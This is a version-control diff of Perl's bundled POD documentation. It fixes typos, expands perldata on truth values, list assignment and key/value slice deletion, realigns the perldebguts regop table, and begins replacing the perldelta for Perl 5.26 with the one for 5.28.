-C<Unicode::Collate->new> method no longer overwrites user's C<$_>
+C<< Unicode::Collate->new >> method no longer overwrites user's C<$_>
 
 =item *
 
@@ -1535,7 +1535,7 @@
 
 =head2 Non-string passed as bitmask
 
-This is a new warning, produced when number has been passed as a argument to
+This is a new warning, produced when number has been passed as an argument to
 select(), instead of a bitmask.
 
     # Wrong, will now warn

Modified: vendor/perl/dist/pod/perl589delta.pod
===================================================================
--- vendor/perl/dist/pod/perl589delta.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perl589delta.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -314,7 +314,7 @@
 
 =item *
 
-now handles C<''->()>, C<::()>, C<sub :: {}>, I<etc.> correctly [RT #43010].
+now handles C<< ''->() >>, C<::()>, C<sub :: {}>, I<etc.> correctly [RT #43010].
 All bugs in parsing these kinds of syntax are now fixed:
 
     perl -MO=Deparse -e '"my %h = "->()'

Modified: vendor/perl/dist/pod/perlapio.pod
===================================================================
--- vendor/perl/dist/pod/perlapio.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlapio.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -58,7 +58,7 @@
   SSize_t PerlIO_get_bufsiz(PerlIO *f);
 
   PerlIO *PerlIO_importFILE(FILE *stdio, const char *mode);
-  FILE   *PerlIO_exportFILE(PerlIO *f, int flags);
+  FILE   *PerlIO_exportFILE(PerlIO *f, const char *mode);
   FILE   *PerlIO_findFILE(PerlIO *f);
   void    PerlIO_releaseFILE(PerlIO *f,FILE *stdio);
 
@@ -82,7 +82,7 @@
 treated as opaque (it is probably safe to assume it is a pointer to
 something).
 
-There are currently three implementations:
+There are currently two implementations:
 
 =over 4
 
@@ -138,7 +138,7 @@
 
 =item B<PerlIO_reopen(path,mode,f)>
 
-While this currently exists in all three implementations perl itself
+While this currently exists in both implementations, perl itself
 does not use it. I<As perl does not use it, it is not well tested.>
 
 Perl prefers to C<dup> the new low-level descriptor to the descriptor

Modified: vendor/perl/dist/pod/perlartistic.pod
===================================================================
--- vendor/perl/dist/pod/perlartistic.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlartistic.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -213,7 +213,7 @@
 
 THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR
 IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
-WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 
 =back
 

Modified: vendor/perl/dist/pod/perldata.pod
===================================================================
--- vendor/perl/dist/pod/perldata.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perldata.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -320,12 +320,17 @@
 references are strongly-typed, uncastable pointers with builtin
 reference-counting and destructor invocation.
 
+X<truth> X<falsehood> X<true> X<false> X<!> X<not> X<negation> X<0>
+X<boolean> X<bool>
 A scalar value is interpreted as FALSE in the Boolean sense
 if it is undefined, the null string or the number 0 (or its
 string equivalent, "0"), and TRUE if it is anything else.  The
 Boolean context is just a special kind of scalar context where no 
 conversion to a string or a number is ever performed.
-X<boolean> X<bool> X<true> X<false> X<truth>
+Negation of a true value by C<!> or C<not> returns a special false value.
+When evaluated as a string it is treated as C<"">, but as a number, it
+is treated as 0.  Most Perl operators
+that return true or false behave this way.
 
 There are actually two varieties of null strings (sometimes referred
 to as "empty" strings), a defined one and an undefined one.  The
@@ -399,9 +404,9 @@
 
     $element_count = scalar(@whatever);
 
-If you evaluate a hash in scalar context, it returns false if the
-hash is empty.  If there are any key/value pairs, it returns true.
-A more precise definition is version dependent.
+If you evaluate a hash in scalar context, it returns a false value if
+the hash is empty.  If there are any key/value pairs, it returns a
+true value.  A more precise definition is version dependent.
 
 Prior to Perl 5.25 the value returned was a string consisting of the
 number of used buckets and the number of allocated buckets, separated
@@ -614,6 +619,17 @@
 not in files loaded with C<require> or C<do>) and leaves the remaining
 contents of the file accessible via C<main::DATA>.
 
+The C<DATA> file handle by default has whatever PerlIO layers were
+in place when Perl read the file to parse the source.  Normally that
+means that the file is being read bytewise, as if it were encoded in
+Latin-1, but there are two major ways for it to be otherwise.  Firstly,
+if the C<__END__>/C<__DATA__> token is in the scope of a C<use utf8>
+pragma then the C<DATA> handle will be in UTF-8 mode.  And secondly,
+if the source is being read from perl's standard input then the C<DATA>
+file handle is actually aliased to the C<STDIN> file handle, and may
+be in UTF-8 mode because of the C<PERL_UNICODE> environment variable or
+perl's command-line switches.
+
 See L<SelfLoader> for more description of __DATA__, and
 an example of its use.  Note that you cannot read from the DATA
 filehandle in a BEGIN block: the BEGIN block is executed as soon
@@ -773,6 +789,53 @@
 (You can also do C<($x) x 2>, which is less useful, because it assigns to
 the same variable twice, clobbering the first value assigned.)
 
+When you assign a list of scalars to an array, all previous values in that
+array are wiped out and the number of elements in the array will now be equal to
+the number of elements in the right-hand list -- the list from which
+assignment was made.  The array will automatically resize itself to precisely
+accommodate each element in the right-hand list.
+
+    use warnings;
+    my (@xyz, $x, $y, $z);
+
+    @xyz = (1, 2, 3);
+    print "@xyz\n";                             # 1 2 3
+
+    @xyz = ('al', 'be', 'ga', 'de');
+    print "@xyz\n";                             # al be ga de
+
+    @xyz = (101, 102);
+    print "@xyz\n";                             # 101 102
+
+When, however, you assign a list of scalars to another list of scalars, the
+results differ according to whether the left-hand list -- the list being
+assigned to -- has the same, more or fewer elements than the right-hand list.
+
+    ($x, $y, $z) = (1, 2, 3);
+    print "$x $y $z\n";                         # 1 2 3
+
+    ($x, $y, $z) = ('al', 'be', 'ga', 'de');
+    print "$x $y $z\n";                         # al be ga
+
+    ($x, $y, $z) = (101, 102);
+    print "$x $y $z\n";                         # 101 102
+    # Use of uninitialized value $z in concatenation (.)
+    # or string at [program] line [line number].
+
+If the number of scalars in the left-hand list is less than that in the
+right-hand list, the "extra" scalars in the right-hand list will simply not be
+assigned.
+
+If the number of scalars in the left-hand list is greater than that in the
+left-hand list, the "missing" scalars will become undefined.
+
+    ($x, $y, $z) = (101, 102);
+    for my $el ($x, $y, $z) {
+        (defined $el) ? print "$el " : print "<undef>";
+    }
+    print "\n";
+                                                # 101 102 <undef>
+
 List assignment in scalar context returns the number of elements
 produced by the expression on the right side of the assignment:
 
@@ -1014,8 +1077,11 @@
     %h = (blonk => 2, foo => 3, squink => 5, bar => 8);
     %subset = %h{'foo', 'bar'}; # key/value hash slice
     # %subset is now (foo => 3, bar => 8)
+    %removed = delete %h{'foo', 'bar'};
+    # %removed is now (foo => 3, bar => 8)
+    # %h is now (blonk => 2, squink => 5)
 
-However, the result of such a slice cannot be localized, deleted or used
+However, the result of such a slice cannot be localized or used
 in assignment.  These are otherwise very much consistent with hash slices
 using the @ symbol.
 
@@ -1028,7 +1094,13 @@
     @a = "a".."z";
     @list = %a[3,4,6];
     # @list is now (3, "d", 4, "e", 6, "g")
+    @removed = delete %a[3,4,6]
+    # @removed is now (3, "d", 4, "e", 6, "g")
+    # @list[3,4,6] are now undef
 
+Note that calling L<C<delete>|perlfunc/delete EXPR> on array values is
+strongly discouraged.
+
 =head2 Typeglobs and Filehandles
 X<typeglob> X<filehandle> X<*>
 

Modified: vendor/perl/dist/pod/perldebguts.pod
===================================================================
--- vendor/perl/dist/pod/perldebguts.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perldebguts.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -94,9 +94,13 @@
 =item *
 
 When execution of the program reaches a subroutine call, a call to
-C<&DB::sub>(I<args>) is made instead, with C<$DB::sub> holding the
-name of the called subroutine. (This doesn't happen if the subroutine
-was compiled in the C<DB> package.)
+C<&DB::sub>(I<args>) is made instead, with C<$DB::sub> set to identify
+the called subroutine.  (This doesn't happen if the calling subroutine
+was compiled in the C<DB> package.)  C<$DB::sub> normally holds the name
+of the called subroutine, if it has a name by which it can be looked up.
+Failing that, C<$DB::sub> will hold a reference to the called subroutine.
+Either way, the C<&DB::sub> subroutine can use C<$DB::sub> as a reference
+by which to call the called subroutine, which it will normally want to do.
 
 X<&DB::lsub>If the call is to an lvalue subroutine, and C<&DB::lsub>
 is defined C<&DB::lsub>(I<args>) is called instead, otherwise falling
@@ -104,10 +108,15 @@
 
 =item *
 
-When execution of the program uses C<goto> to enter a non-XS
-subroutine and the 0x80 bit is set in C<$^P>, a call to C<&DB::goto>
-is made, with C<$DB::sub> holding the name of the subroutine being
-entered.
+When execution of the program uses C<goto> to enter a non-XS subroutine
+and the 0x80 bit is set in C<$^P>, a call to C<&DB::goto> is made, with
+C<$DB::sub> set to identify the subroutine being entered.  The call to
+C<&DB::goto> does not replace the C<goto>; the requested subroutine will
+still be entered once C<&DB::goto> has returned.  C<$DB::sub> normally
+holds the name of the subroutine being entered, if it has one.  Failing
+that, C<$DB::sub> will hold a reference to the subroutine being entered.
+Unlike when C<&DB::sub> is called, it is not guaranteed that C<$DB::sub>
+can be used as a reference to operate on the subroutine being entered.
 
 =back
 
@@ -556,63 +565,69 @@
 
  # Exit points
 
- END             no         End of program.
- SUCCEED         no         Return from a subroutine, basically.
+ END              no         End of program.
+ SUCCEED          no         Return from a subroutine, basically.
 
  # Line Start Anchors:
- SBOL            no         Match "" at beginning of line: /^/, /\A/
- MBOL            no         Same, assuming multiline: /^/m
+ SBOL             no         Match "" at beginning of line: /^/, /\A/
+ MBOL             no         Same, assuming multiline: /^/m
 
  # Line End Anchors:
- SEOL            no         Match "" at end of line: /$/
- MEOL            no         Same, assuming multiline: /$/m
- EOS             no         Match "" at end of string: /\z/
+ SEOL             no         Match "" at end of line: /$/
+ MEOL             no         Same, assuming multiline: /$/m
+ EOS              no         Match "" at end of string: /\z/
 
  # Match Start Anchors:
- GPOS            no         Matches where last m//g left off.
+ GPOS             no         Matches where last m//g left off.
 
  # Word Boundary Opcodes:
- BOUND           no         Like BOUNDA for non-utf8, otherwise match ""
-                            between any Unicode \w\W or \W\w
- BOUNDL          no         Like BOUND/BOUNDU, but \w and \W are defined
-                            by current locale
- BOUNDU          no         Match "" at any boundary of a given type
-                            using Unicode rules
- BOUNDA          no         Match "" at any boundary between \w\W or
-                            \W\w, where \w is [_a-zA-Z0-9]
- NBOUND          no         Like NBOUNDA for non-utf8, otherwise match
-                            "" between any Unicode \w\w or \W\W
- NBOUNDL         no         Like NBOUND/NBOUNDU, but \w and \W are
-                            defined by current locale
- NBOUNDU         no         Match "" at any non-boundary of a given type
-                            using using Unicode rules
- NBOUNDA         no         Match "" betweeen any \w\w or \W\W, where \w
-                            is [_a-zA-Z0-9]
+ BOUND            no         Like BOUNDA for non-utf8, otherwise match
+                             "" between any Unicode \w\W or \W\w
+ BOUNDL           no         Like BOUND/BOUNDU, but \w and \W are
+                             defined by current locale
+ BOUNDU           no         Match "" at any boundary of a given type
+                             using Unicode rules
+ BOUNDA           no         Match "" at any boundary between \w\W or
+                             \W\w, where \w is [_a-zA-Z0-9]
+ NBOUND           no         Like NBOUNDA for non-utf8, otherwise match
+                             "" between any Unicode \w\w or \W\W
+ NBOUNDL          no         Like NBOUND/NBOUNDU, but \w and \W are
+                             defined by current locale
+ NBOUNDU          no         Match "" at any non-boundary of a given
+                             type using using Unicode rules
+ NBOUNDA          no         Match "" betweeen any \w\w or \W\W, where
+                             \w is [_a-zA-Z0-9]
 
  # [Special] alternatives:
- REG_ANY         no         Match any one character (except newline).
- SANY            no         Match any one character.
- ANYOF           sv 1       Match character in (or not in) this class,
-                            single char match only
- ANYOFD          sv 1       Like ANYOF, but /d is in effect
- ANYOFL          sv 1       Like ANYOF, but /l is in effect
+ REG_ANY          no         Match any one character (except newline).
+ SANY             no         Match any one character.
+ ANYOF            sv 1       Match character in (or not in) this class,
+                             single char match only
+ ANYOFD           sv 1       Like ANYOF, but /d is in effect
+ ANYOFL           sv 1       Like ANYOF, but /l is in effect
+ ANYOFM           byte 1     Like ANYOF, but matches an invariant byte
+                             as determined by the mask and arg
 
  # POSIX Character Classes:
- POSIXD          none       Some [[:class:]] under /d; the FLAGS field
-                            gives which one
- POSIXL          none       Some [[:class:]] under /l; the FLAGS field
-                            gives which one
- POSIXU          none       Some [[:class:]] under /u; the FLAGS field
-                            gives which one
- POSIXA          none       Some [[:class:]] under /a; the FLAGS field
-                            gives which one
- NPOSIXD         none       complement of POSIXD, [[:^class:]]
- NPOSIXL         none       complement of POSIXL, [[:^class:]]
- NPOSIXU         none       complement of POSIXU, [[:^class:]]
- NPOSIXA         none       complement of POSIXA, [[:^class:]]
+ POSIXD           none       Some [[:class:]] under /d; the FLAGS field
+                             gives which one
+ POSIXL           none       Some [[:class:]] under /l; the FLAGS field
+                             gives which one
+ POSIXU           none       Some [[:class:]] under /u; the FLAGS field
+                             gives which one
+ POSIXA           none       Some [[:class:]] under /a; the FLAGS field
+                             gives which one
+ NPOSIXD          none       complement of POSIXD, [[:^class:]]
+ NPOSIXL          none       complement of POSIXL, [[:^class:]]
+ NPOSIXU          none       complement of POSIXU, [[:^class:]]
+ NPOSIXA          none       complement of POSIXA, [[:^class:]]
 
- CLUMP           no         Match any extended grapheme cluster sequence
+ ASCII            none       [[:ascii:]]
+ NASCII           none       [[:^ascii:]]
 
+ CLUMP            no         Match any extended grapheme cluster
+                             sequence
+
  # Alternation
 
  # BRANCH        The set of branches constituting a single choice are
@@ -624,39 +639,40 @@
  #               pointer of each individual branch points; each branch
  #               starts with the operand node of a BRANCH node.
  #
- BRANCH          node       Match this alternative, or the next...
+ BRANCH           node       Match this alternative, or the next...
 
  # Literals
 
- EXACT           str        Match this string (preceded by length).
- EXACTL          str        Like EXACT, but /l is in effect (used so
-                            locale-related warnings can be checked for).
- EXACTF          str        Match this non-UTF-8 string (not guaranteed
-                            to be folded) using /id rules (w/len).
- EXACTFL         str        Match this string (not guaranteed to be
-                            folded) using /il rules (w/len).
- EXACTFU         str        Match this string (folded iff in UTF-8,
-                            length in folding doesn't change if not in
-                            UTF-8) using /iu rules (w/len).
- EXACTFA         str        Match this string (not guaranteed to be
-                            folded) using /iaa rules (w/len).
+ EXACT            str        Match this string (preceded by length).
+ EXACTL           str        Like EXACT, but /l is in effect (used so
+                             locale-related warnings can be checked
+                             for).
+ EXACTF           str        Match this non-UTF-8 string (not guaranteed
+                             to be folded) using /id rules (w/len).
+ EXACTFL          str        Match this string (not guaranteed to be
+                             folded) using /il rules (w/len).
+ EXACTFU          str        Match this string (folded iff in UTF-8,
+                             length in folding doesn't change if not in
+                             UTF-8) using /iu rules (w/len).
+ EXACTFAA         str        Match this string (not guaranteed to be
+                             folded) using /iaa rules (w/len).
 
- EXACTFU_SS      str        Match this string (folded iff in UTF-8,
-                            length in folding may change even if not in
-                            UTF-8) using /iu rules (w/len).
- EXACTFLU8       str        Rare cirucmstances: like EXACTFU, but is
-                            under /l, UTF-8, folded, and everything in
-                            it is above 255.
- EXACTFA_NO_TRIE str        Match this string (which is not trie-able;
-                            not guaranteed to be folded) using /iaa
-                            rules (w/len).
+ EXACTFU_SS       str        Match this string (folded iff in UTF-8,
+                             length in folding may change even if not in
+                             UTF-8) using /iu rules (w/len).
+ EXACTFLU8        str        Rare circumstances: like EXACTFU, but is
+                             under /l, UTF-8, folded, and everything in
+                             it is above 255.
+ EXACTFAA_NO_TRIE str        Match this string (which is not trie-able;
+                             not guaranteed to be folded) using /iaa
+                             rules (w/len).
 
  # Do nothing types
 
- NOTHING         no         Match empty string.
+ NOTHING          no         Match empty string.
  # A variant of above which delimits a group, thus stops optimizations
- TAIL            no         Match empty string. Can jump here from
-                            outside.
+ TAIL             no         Match empty string. Can jump here from
+                             outside.
 
  # Loops
 
@@ -665,69 +681,74 @@
  #               (one character per match) are implemented with STAR
  #               and PLUS for speed and to minimize recursive plunges.
  #
- STAR            node       Match this (simple) thing 0 or more times.
- PLUS            node       Match this (simple) thing 1 or more times.
+ STAR             node       Match this (simple) thing 0 or more times.
+ PLUS             node       Match this (simple) thing 1 or more times.
 
- CURLY           sv 2       Match this simple thing {n,m} times.
- CURLYN          no 2       Capture next-after-this simple thing
- CURLYM          no 2       Capture this medium-complex thing {n,m}
-                            times.
- CURLYX          sv 2       Match this complex thing {n,m} times.
+ CURLY            sv 2       Match this simple thing {n,m} times.
+ CURLYN           no 2       Capture next-after-this simple thing
+ CURLYM           no 2       Capture this medium-complex thing {n,m}
+                             times.
+ CURLYX           sv 2       Match this complex thing {n,m} times.
 
  # This terminator creates a loop structure for CURLYX
- WHILEM          no         Do curly processing and see if rest matches.
+ WHILEM           no         Do curly processing and see if rest
+                             matches.
 
  # Buffer related
 
  # OPEN,CLOSE,GROUPP     ...are numbered at compile time.
- OPEN            num 1      Mark this point in input as start of #n.
- CLOSE           num 1      Analogous to OPEN.
+ OPEN             num 1      Mark this point in input as start of #n.
+ CLOSE            num 1      Close corresponding OPEN of #n.
+ SROPEN           none       Same as OPEN, but for script run
+ SRCLOSE          none       Close preceding SROPEN
 
- REF             num 1      Match some already matched string
- REFF            num 1      Match already matched string, folded using
-                            native charset rules for non-utf8
- REFFL           num 1      Match already matched string, folded in loc.
- REFFU           num 1      Match already matched string, folded using
-                            unicode rules for non-utf8
- REFFA           num 1      Match already matched string, folded using
-                            unicode rules for non-utf8, no mixing ASCII,
-                            non-ASCII
+ REF              num 1      Match some already matched string
+ REFF             num 1      Match already matched string, folded using
+                             native charset rules for non-utf8
+ REFFL            num 1      Match already matched string, folded in
+                             loc.
+ REFFU            num 1      Match already matched string, folded using
+                             unicode rules for non-utf8
+ REFFA            num 1      Match already matched string, folded using
+                             unicode rules for non-utf8, no mixing
+                             ASCII, non-ASCII
 
  # Named references.  Code in regcomp.c assumes that these all are after
  # the numbered references
- NREF            no-sv 1    Match some already matched string
- NREFF           no-sv 1    Match already matched string, folded using
-                            native charset rules for non-utf8
- NREFFL          no-sv 1    Match already matched string, folded in loc.
- NREFFU          num 1      Match already matched string, folded using
-                            unicode rules for non-utf8
- NREFFA          num 1      Match already matched string, folded using
-                            unicode rules for non-utf8, no mixing ASCII,
-                            non-ASCII
+ NREF             no-sv 1    Match some already matched string
+ NREFF            no-sv 1    Match already matched string, folded using
+                             native charset rules for non-utf8
+ NREFFL           no-sv 1    Match already matched string, folded in
+                             loc.
+ NREFFU           num 1      Match already matched string, folded using
+                             unicode rules for non-utf8
+ NREFFA           num 1      Match already matched string, folded using
+                             unicode rules for non-utf8, no mixing
+                             ASCII, non-ASCII
 
  # Support for long RE
- LONGJMP         off 1 1    Jump far away.
- BRANCHJ         off 1 1    BRANCH with long offset.
+ LONGJMP          off 1 1    Jump far away.
+ BRANCHJ          off 1 1    BRANCH with long offset.
 
  # Special Case Regops
- IFMATCH         off 1 2    Succeeds if the following matches.
- UNLESSM         off 1 2    Fails if the following matches.
- SUSPEND         off 1 1    "Independent" sub-RE.
- IFTHEN          off 1 1    Switch, should be preceded by switcher.
- GROUPP          num 1      Whether the group matched.
+ IFMATCH          off 1 2    Succeeds if the following matches.
+ UNLESSM          off 1 2    Fails if the following matches.
+ SUSPEND          off 1 1    "Independent" sub-RE.
+ IFTHEN           off 1 1    Switch, should be preceded by switcher.
+ GROUPP           num 1      Whether the group matched.
 
  # The heavy worker
 
- EVAL            evl/flags  Execute some Perl code.
-                 2L
+ EVAL             evl/flags  Execute some Perl code.
+                  2L
 
  # Modifiers
 
- MINMOD          no         Next operator is not greedy.
- LOGICAL         no         Next opcode should set the flag only.
+ MINMOD           no         Next operator is not greedy.
+ LOGICAL          no         Next opcode should set the flag only.
 
  # This is not used yet
- RENUM           off 1 1    Group with independently numbered parens.
+ RENUM            off 1 1    Group with independently numbered parens.
 
  # Trie Related
 
@@ -735,53 +756,53 @@
  # have inline charclass data (ascii only), the 'C' store it in the
  # structure.
 
- TRIE            trie 1     Match many EXACT(F[ALU]?)? at once.
-                            flags==type
- TRIEC           trie       Same as TRIE, but with embedded charclass
-                 charclass  data
+ TRIE             trie 1     Match many EXACT(F[ALU]?)? at once.
+                             flags==type
+ TRIEC            trie       Same as TRIE, but with embedded charclass
+                  charclass  data
 
- AHOCORASICK     trie 1     Aho Corasick stclass. flags==type
- AHOCORASICKC    trie       Same as AHOCORASICK, but with embedded
-                 charclass  charclass data
+ AHOCORASICK      trie 1     Aho Corasick stclass. flags==type
+ AHOCORASICKC     trie       Same as AHOCORASICK, but with embedded
+                  charclass  charclass data
 
  # Regex Subroutines
- GOSUB           num/ofs 2L recurse to paren arg1 at (signed) ofs arg2
+ GOSUB            num/ofs 2L recurse to paren arg1 at (signed) ofs arg2
 
  # Special conditionals
- NGROUPP         no-sv 1    Whether the group matched.
- INSUBP          num 1      Whether we are in a specific recurse.
- DEFINEP         none 1     Never execute directly.
+ NGROUPP          no-sv 1    Whether the group matched.
+ INSUBP           num 1      Whether we are in a specific recurse.
+ DEFINEP          none 1     Never execute directly.
 
  # Backtracking Verbs
- ENDLIKE         none       Used only for the type field of verbs
- OPFAIL          no-sv 1    Same as (?!), but with verb arg
- ACCEPT          no-sv/num  Accepts the current matched string, with
-                 2L         verbar
+ ENDLIKE          none       Used only for the type field of verbs
+ OPFAIL           no-sv 1    Same as (?!), but with verb arg
+ ACCEPT           no-sv/num  Accepts the current matched string, with
+                  2L         verbar
 
  # Verbs With Arguments
- VERB            no-sv 1    Used only for the type field of verbs
- PRUNE           no-sv 1    Pattern fails at this startpoint if no-
-                            backtracking through this
- MARKPOINT       no-sv 1    Push the current location for rollback by
-                            cut.
- SKIP            no-sv 1    On failure skip forward (to the mark) before
-                            retrying
- COMMIT          no-sv 1    Pattern fails outright if backtracking
-                            through this
- CUTGROUP        no-sv 1    On failure go to the next alternation in the
-                            group
+ VERB             no-sv 1    Used only for the type field of verbs
+ PRUNE            no-sv 1    Pattern fails at this startpoint if no-
+                             backtracking through this
+ MARKPOINT        no-sv 1    Push the current location for rollback by
+                             cut.
+ SKIP             no-sv 1    On failure skip forward (to the mark)
+                             before retrying
+ COMMIT           no-sv 1    Pattern fails outright if backtracking
+                             through this
+ CUTGROUP         no-sv 1    On failure go to the next alternation in
+                             the group
 
  # Control what to keep in $&.
- KEEPS           no         $& begins here.
+ KEEPS            no         $& begins here.
 
  # New charclass like patterns
- LNBREAK         none       generic newline pattern
+ LNBREAK          none       generic newline pattern
 
  # SPECIAL  REGOPS
 
  # This is not really a node, but an optimized away piece of a "long"
  # node.  To simplify debugging output, we mark it as if it were a node
- OPTIMIZED       off        Placeholder for dump.
+ OPTIMIZED        off        Placeholder for dump.
 
  # Special opcode with the property that no opcode in a compiled program
  # will ever be of this type. Thus it can be used as a flag value that
@@ -788,7 +809,7 @@
  # no other opcode has been seen. END is used similarly, in that an END
  # node cant be optimized. So END implies "unoptimizable" and PSEUDO
  # mean "not seen anything to optimize yet".
- PSEUDO          off        Pseudo opcode for internal use.
+ PSEUDO           off        Pseudo opcode for internal use.
 
 =for regcomp.pl end
 

Modified: vendor/perl/dist/pod/perldebug.pod
===================================================================
--- vendor/perl/dist/pod/perldebug.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perldebug.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,10 +8,12 @@
 First of all, have you tried using L<C<use strict;>|strict> and
 L<C<use warnings;>|warnings>?
 
-
 If you're new to the Perl debugger, you may prefer to read
 L<perldebtut>, which is a tutorial introduction to the debugger.
 
+If you're looking for the nitty gritty details of how the debugger is
+I<implemented>, you may prefer to read L<perldebguts>.
+
 =head1 The Perl Debugger
 
 If you invoke Perl with the B<-d> switch, your script runs under the

Modified: vendor/perl/dist/pod/perldelta.pod
===================================================================
--- vendor/perl/dist/pod/perldelta.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perldelta.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,3309 +2,2413 @@
 
 =head1 NAME
 
-perldelta - what is new for perl v5.26.0
+perldelta - what is new for perl v5.28.0
 
 =head1 DESCRIPTION
 
-This document describes the differences between the 5.24.0 release and the
-5.26.0 release.
+This document describes differences between the 5.26.0 release and the 5.28.0
+release.
 
-=head1 Notice
+If you are upgrading from an earlier release such as 5.24.0, first read
+L<perl5260delta>, which describes differences between 5.24.0 and 5.26.0.
 
-This release includes three updates with widespread effects:
+=head1 Core Enhancements
 
-=over 4
+=head2 Unicode 10.0 is supported
 
-=item * C<"."> no longer in C<@INC>
+A list of changes is at
+L<http://www.unicode.org/versions/Unicode10.0.0>.
 
-For security reasons, the current directory (C<".">) is no longer included
-by default at the end of the module search path (C<@INC>). This may have
-widespread implications for the building, testing and installing of
-modules, and for the execution of scripts.  See the section
-L<< Removal of the current directory (C<".">) from C<@INC> >>
-for the full details.
+=head2 L<C<delete>|perlfunc/delete EXPR> on key/value hash slices
 
-=item * C<do> may now warn
+L<C<delete>|perlfunc/delete EXPR> can now be used on
+L<keyE<sol>value hash slices|perldata/KeyE<sol>Value Hash Slices>,
+returning the keys along with the deleted values.
+L<[perl #131328]|https://rt.perl.org/Ticket/Display.html?id=131328>
 
-C<do> now gives a deprecation warning when it fails to load a file which
-it would have loaded had C<"."> been in C<@INC>.
+=head2 Experimentally, there are now alphabetic synonyms for some regular expression assertions
 
-=item * In regular expression patterns, a literal left brace C<"{">
-should be escaped
+If you find it difficult to remember how to write certain of the pattern
+assertions, there are now alphabetic synonyms.
 
-See L</Unescaped literal C<"{"> characters in regular expression patterns are no longer permissible>.
+ CURRENT                NEW SYNONYMS
+ ------                 ------------
+ (?=...)        (*pla:...) or (*positive_lookahead:...)
+ (?!...)        (*nla:...) or (*negative_lookahead:...)
+ (?<=...)       (*plb:...) or (*positive_lookbehind:...)
+ (?<!...)       (*nlb:...) or (*negative_lookbehind:...)
+ (?>...)        (*atomic:...)
 
-=back
+These are considered experimental, so using any of these will raise
+(unless turned off) a warning in the C<experimental::alpha_assertions>
+category.
 
-=head1 Core Enhancements
+=head2 Mixed Unicode scripts are now detectable
 
-=head2 Lexical subroutines are no longer experimental
+A mixture of scripts, such as Cyrillic and Latin, in a string is often
+the sign of a spoofing attack.  A new regular expression construct
+now allows for easy detection of these.  For example, you can say
 
-Using the C<lexical_subs> feature introduced in v5.18 no longer emits a warning.  Existing
-code that disables the C<experimental::lexical_subs> warning category
-that the feature previously used will continue to work.  The
-C<lexical_subs> feature has no effect; all Perl code can use lexical
-subroutines, regardless of what feature declarations are in scope.
+ qr/(*script_run: \d+ \b )/x
 
-=head2 Indented Here-documents
+And the digits matched will all be from the same set of 10.  You won't
+get a look-alike digit from a different script that has a different
+value than what it appears to be.
 
-This adds a new modifier C<"~"> to here-docs that tells the parser
-that it should look for C</^\s*$DELIM\n/> as the closing delimiter.
+Or:
 
-These syntaxes are all supported:
+ qr/(*sr: \b \w+ \b )/x
 
-    <<~EOF;
-    <<~\EOF;
-    <<~'EOF';
-    <<~"EOF";
-    <<~`EOF`;
-    <<~ 'EOF';
-    <<~ "EOF";
-    <<~ `EOF`;
+makes sure that all the characters come from the same script.
 
-The C<"~"> modifier will strip, from each line in the here-doc, the
-same whitespace that appears before the delimiter.
+You can also combine script runs with C<(?E<gt>...)> (or
+C<*atomic:...)>).
 
-Newlines will be copied as-is, and lines that don't include the
-proper beginning whitespace will cause perl to croak.
+Instead of writing:
 
-For example:
+    (*sr:(?<...))
 
-    if (1) {
-      print <<~EOF;
-        Hello there
-        EOF
-    }
+you can now run:
 
-prints "Hello there\n" with no leading whitespace.
+    (*asr:...)
+    # or
+    (*atomic_script_run:...)
 
-=head2 New regular expression modifier C</xx>
+This is considered experimental, so using it will raise (unless turned
+off) a warning in the C<experimental::script_run> category.
 
-Specifying two C<"x"> characters to modify a regular expression pattern
-does everything that a single one does, but additionally TAB and SPACE
-characters within a bracketed character class are generally ignored and
-can be added to improve readability, like
-S<C</[ ^ A-Z d-f p-x ]/xx>>.  Details are at
-L<perlre/E<sol>x and E<sol>xx>.
+See L<perlre/Script Runs>.
 
-=head2 C<@{^CAPTURE}>, C<%{^CAPTURE}>, and C<%{^CAPTURE_ALL}>
+=head2 In-place editing with C<perl -i> is now safer
 
-C<@{^CAPTURE}> exposes the capture buffers of the last match as an
-array.  So C<$1> is C<${^CAPTURE}[0]>.  This is a more efficient equivalent
-to code like C<substr($matched_string,$-[0],$+[0]-$-[0])>, and you don't
-have to keep track of the C<$matched_string> either.  This variable has no
-single character equivalent.  Note that, like the other regex magic variables,
-the contents of this variable is dynamic; if you wish to store it beyond
-the lifetime of the match you must copy it to another array.
+Previously in-place editing (C<perl -i>) would delete or rename the
+input file as soon as you started working on a new file.
 
-C<%{^CAPTURE}> is equivalent to C<%+> (I<i.e.>, named captures).  Other than
-being more self-documenting there is no difference between the two forms.
+Without backups this would result in loss of data if there was an
+error, such as a full disk, when writing to the output file.
 
-C<%{^CAPTURE_ALL}> is equivalent to C<%-> (I<i.e.>, all named captures).
-Other than being more self-documenting there is no difference between the
-two forms.
+This has changed so that the input file isn't replaced until the
+output file has been completely written and successfully closed.
 
-=head2 Declaring a reference to a variable
+This works by creating a work file in the same directory, which is
+renamed over the input file once the output file is complete.
 
-As an experimental feature, Perl now allows the referencing operator to come
-after L<C<my()>|perlfunc/my>, L<C<state()>|perlfunc/state>,
-L<C<our()>|perlfunc/our>, or L<C<local()>|perlfunc/local>.  This syntax must
-be enabled with C<use feature 'declared_refs'>.  It is experimental, and will
-warn by default unless C<no warnings 'experimental::refaliasing'> is in effect.
-It is intended mainly for use in assignments to references.  For example:
+Incompatibilities:
 
-    use experimental 'refaliasing', 'declared_refs';
